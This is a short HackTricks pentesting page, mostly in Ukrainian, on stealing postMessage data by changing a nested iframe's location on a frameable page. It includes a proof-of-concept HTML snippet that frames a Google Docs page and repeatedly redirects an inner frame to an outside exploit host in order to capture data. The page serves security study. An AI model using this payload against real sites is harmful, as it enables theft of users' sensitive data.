Steal postmessage modifying iframe location

Support HackTricks

Зміна місць розташування дочірніх iframe

Згідно з цією статтею, якщо ви можете вставити веб-сторінку в iframe без X-Frame-Header, яка містить інший iframe, ви можете змінити місце розташування цього дочірнього iframe.

Наприклад, якщо abc.com має efg.com як iframe, а abc.com не має заголовка X-Frame, я міг би змінити efg.com на evil.com з іншого походження, використовуючи frames.location.

Це особливо корисно в postMessages, оскільки якщо сторінка надсилає чутливі дані, використовуючи доменне ім'я на кшталт windowRef.postmessage("","*"), можливо змінити місце розташування відповідного iframe (дочірнього або батьківського) на місце, контрольоване зловмисником, і вкрасти ці дані.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
Підтримайте HackTricks

Last updated